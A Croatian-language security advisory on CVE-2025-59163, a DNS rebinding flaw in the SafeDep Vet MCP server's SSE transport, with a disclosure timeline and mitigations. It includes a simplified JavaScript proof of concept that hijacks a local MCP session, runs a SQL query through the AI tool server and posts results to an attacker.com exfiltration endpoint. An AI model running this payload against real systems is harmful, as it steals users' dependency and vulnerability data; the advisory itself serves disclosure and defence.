Autor: Evan Harris
Rizik: Nizak (CVSS 2.1/10)
Zahvaćena komponenta: SafeDep Vet MCP Server
CVE ID: CVE-2025-59163
Zahvaćene verzije: < v1.12.5
Ispravljene verzije: v1.12.5

Pregled

Poslužitelj SafeDep Vet MCP ranjiv je na napade DNS rebinding pri radu sa SSE transportom. Uzrok ranjivosti je nedostatak provjere HTTP zaglavlja Host i Origin, zbog čega zlonamjerne web stranice mogu zaobići zaštitu politike istog izvora (Same-Origin Policy) i izvoditi neovlaštene pozive alata protiv instanci Vet MCP.

Nakon uspješnog DNS rebindinga napadač može uspostaviti sesiju s krajnjom točkom /sse, pozvati omogućene MCP alate i izvući sadržaj korisnikove Vet SQLite baze podataka na poslužitelj pod kontrolom napadača.

Tim SafeDep brzo je reagirao na ovu objavu i u roku od nekoliko dana objavio ispravljenu verziju (v1.12.5) koja implementira provjeru zaglavlja Host i Origin putem popisa dopuštenih vrijednosti (allow list).

Tehnički detalji

Ranjivost

Kada poslužitelj Vet MCP radi sa SSE transportom (--server-type sse), izlaže HTTP krajnju točku koja prihvaća veze s bilo kojeg izvora. Na poslužitelju nedostaje provjera sljedećeg:

  • HTTP zaglavlje Host - dopušta zahtjeve koji tvrde da dolaze s bilo koje domene
  • HTTP zaglavlje Origin - dopušta zahtjeve između izvora sa zlonamjernih web stranica

Nedostatak ove provjere otvara mogućnost za napade DNS rebinding, u kojima:

  1. Napadač kontrolira domenu s DNS zapisima vrlo niskog TTL-a
  2. Žrtva posjeti napadačevu web stranicu (na primjer, attacker.com)
  3. Napadačev JavaScript u početku se razrješava u napadačev IP
  4. Nakon što preglednik žrtve keširanje vezu, DNS zapis mijenja se u 127.0.0.1
  5. Naknadni zahtjevi s attacker.com sada ciljaju localhost žrtve
  6. Politika istog izvora u pregledniku zaobilazi se jer izvor ostaje attacker.com

Ranjiva konfiguracija

Napad zahtijeva sljedeće uvjete:

  • Izvedeno je Vet skeniranje i izvještaji se zapisuju u bazu podataka
  • Poslužitelj Vet MCP pokrenut je s omogućenim SSE transportom
  • Napadač namami žrtvu na web stranicu pod svojom kontrolom

Vektor napada

Napadač iskorištava DNS rebinding kako bi:

  1. Uspostavio vezu s http://127.0.0.1:9988/sse
  2. Dobio valjani ID MCP sesije
  3. Inicijalizirao MCP sesiju
  4. Pozvao alat vet_query_execute_sql_query s proizvoljnim READ SQL upitima
  5. Primio odgovore putem SSE toka
  6. Izvukao podatke na poslužitelj pod kontrolom napadača

Scenarij napada

Priprema na strani žrtve

Istraživač sigurnosti ili razvojni programer:

  1. Instalira Vet za skeniranje ranjivosti ovisnosti
  2. Pokreće skeniranje: vet scan -D /path/to/project
  3. Pokreće MCP poslužitelj sa SSE transportom:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. Poslužitelj se prema zadanim postavkama veže na 127.0.0.1:9988

Eksploatacija od strane napadača

Napadač priprema infrastrukturu za DNS rebinding:

  1. Postavlja DNS poslužitelj s wildcard zapisima za domenu (na primjer, rebinder.attacker.com)
  2. Konfigurira DNS poslužitelj tako da najprije vraća napadačev IP, a zatim se preveže na 127.0.0.1
  3. Hostira zlonamjernu web stranicu s JavaScriptom koji:
    • Otkriva kada DNS rebinding uspije
    • Povezuje se s Vet SSE krajnjom točkom na http://127.0.0.1:9988/sse
    • Uspostavlja MCP sesiju
    • Izvodi SQL upite prema bazi podataka žrtve
    • Izvlači rezultate

Tijek eksploatacije

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Žrtvi je dovoljno samo posjetiti napadačevu web stranicu (na primjer, putem poveznice u phishing e-poruci, kompromitiranog oglasa ili zlonamjernog GitHub issuea) dok je njezin poslužitelj Vet MCP pokrenut.

Procjena utjecaja

Narušavanje povjerljivosti

Primarni utjecaj:

  • Potpuni READ pristup Vet SQLite bazi podataka skeniranja putem alata vet_query_execute_sql_query
  • Otkrivanje informacija o ranjivostima paketa, uključujući:
    • Imena i verzije paketa u uporabi
    • Poznate CVE-ove koji utječu na ovisnosti žrtve
    • Ocjene ozbiljnosti i detalje ranjivosti
    • Obavještajne podatke o opskrbnom lancu softvera

Pojačavanje rizika:

  • Napadači stječu saznanja o ranjivim paketima u okruženju žrtve
  • Ovisnosti i verzije paketa otkrivaju detalje tehnološkog stoga
  • Ove informacije mogu se iskoristiti za izradu ciljanih eksploatacija

Zahtjevi za napad

Čimbenici koji ograničavaju mogućnost eksploatacije:

  • Potrebna aktivna interakcija korisnika: žrtva mora posjetiti zlonamjernu web stranicu
  • Vremenski prozor: poslužitelj Vet MCP mora biti aktivno pokrenut sa SSE transportom
  • Zahtjev za konfiguraciju: žrtva mora izričito pokrenuti poslužitelj s --server-type sse (a ne sa zadanim stdio transportom)
  • Temeljeno na pregledniku: za napad je potreban moderni preglednik s podrškom za EventSource

Ovi čimbenici doprinose niskoj ocjeni ozbiljnosti (CVSS 2.1/10) unatoč mogućnosti izvlačenja podataka.

Preporučene mjere ublažavanja

Za korisnike (odmah)

  1. Ažurirajte na v1.12.5 ili noviju:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Koristite stdio transport (zadani):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Mrežna izolacija:
    • Pokrećite MCP poslužitelj samo na pouzdanim mrežama
    • Koristite pravila vatrozida za ograničavanje pristupa portu 9988
    • Izbjegavajte pregledavanje nepouzdanih web stranica dok je poslužitelj pokrenut

Za razvojne programere

Implementirano u v1.12.5:

  • Provjera zaglavlja Host putem popisa dopuštenih vrijednosti (allow list)
  • Provjera zaglavlja Origin radi sprječavanja zahtjeva između izvora
  • Odbijanje zahtjeva s nevaljanim ili nedostajućim sigurnosnim zaglavljima

Najbolje prakse za implementacije MCP poslužitelja:

  • Uvijek provjeravajte zaglavlja Host i Origin za transporte temeljene na HTTP-u
  • Prema zadanim postavkama vežite se samo na localhost (127.0.0.1), a ne na 0.0.0.0
  • Kada je moguće, dajte prednost stdio transportu nad mrežnim transportima
  • Dokumentirajte sigurnosne posljedice različitih načina transporta
  • Implementirajte stroge CORS politike

Vremenski slijed objave

  • 2025-08-30: Početni izvještaj o ranjivosti poslan SafeDepu
  • 2025-09-01: SafeDep potvrđuje primitak izvještaja
  • 2025-09-02: SafeDep otvara pull request sa zakrpom koja implementira provjeru zaglavlja
  • 2025-09-05: Objavljena je ispravljena verzija v1.12.5
  • 2025-09-29: Objavljen GitHub Security Advisory, obje strane potvrdile su usklađeni datum objave
  • 2025-10-06: Objavljena tehnička obavijest

Zaključak

Ranjivost DNS rebinding u poslužitelju Vet MCP pokazuje važan sigurnosni aspekt za implementacije MCP-a: mrežni transporti zahtijevaju pažljivu provjeru HTTP sigurnosnih zaglavlja radi sprječavanja napada između izvora.

Iako napad zahtijeva određene uvjete (aktivni MCP poslužitelj sa SSE transportom, posjet žrtve zlonamjernoj web stranici, vremenski prozor), mogućnost izvlačenja podataka opravdala je odgovornu objavu i izdavanje zakrpe.

Reakcija SafeDepa služi kao primjer odgovornih sigurnosnih praksi:

  • Trenutno potvrđivanje primitka izvještaja
  • Brz razvoj i izdavanje zakrpe (5 dana od prijave do izdanja)
  • Koordinirana objava putem GitHub Security Advisory
  • Jasna komunikacija tijekom cijelog procesa

Svi korisnici koji pokreću poslužitelj Vet MCP sa SSE transportom trebali bi se odmah ažurirati na v1.12.5. Za većinu slučajeva uporabe zadani stdio transport predstavlja sigurniju alternativu.

Reference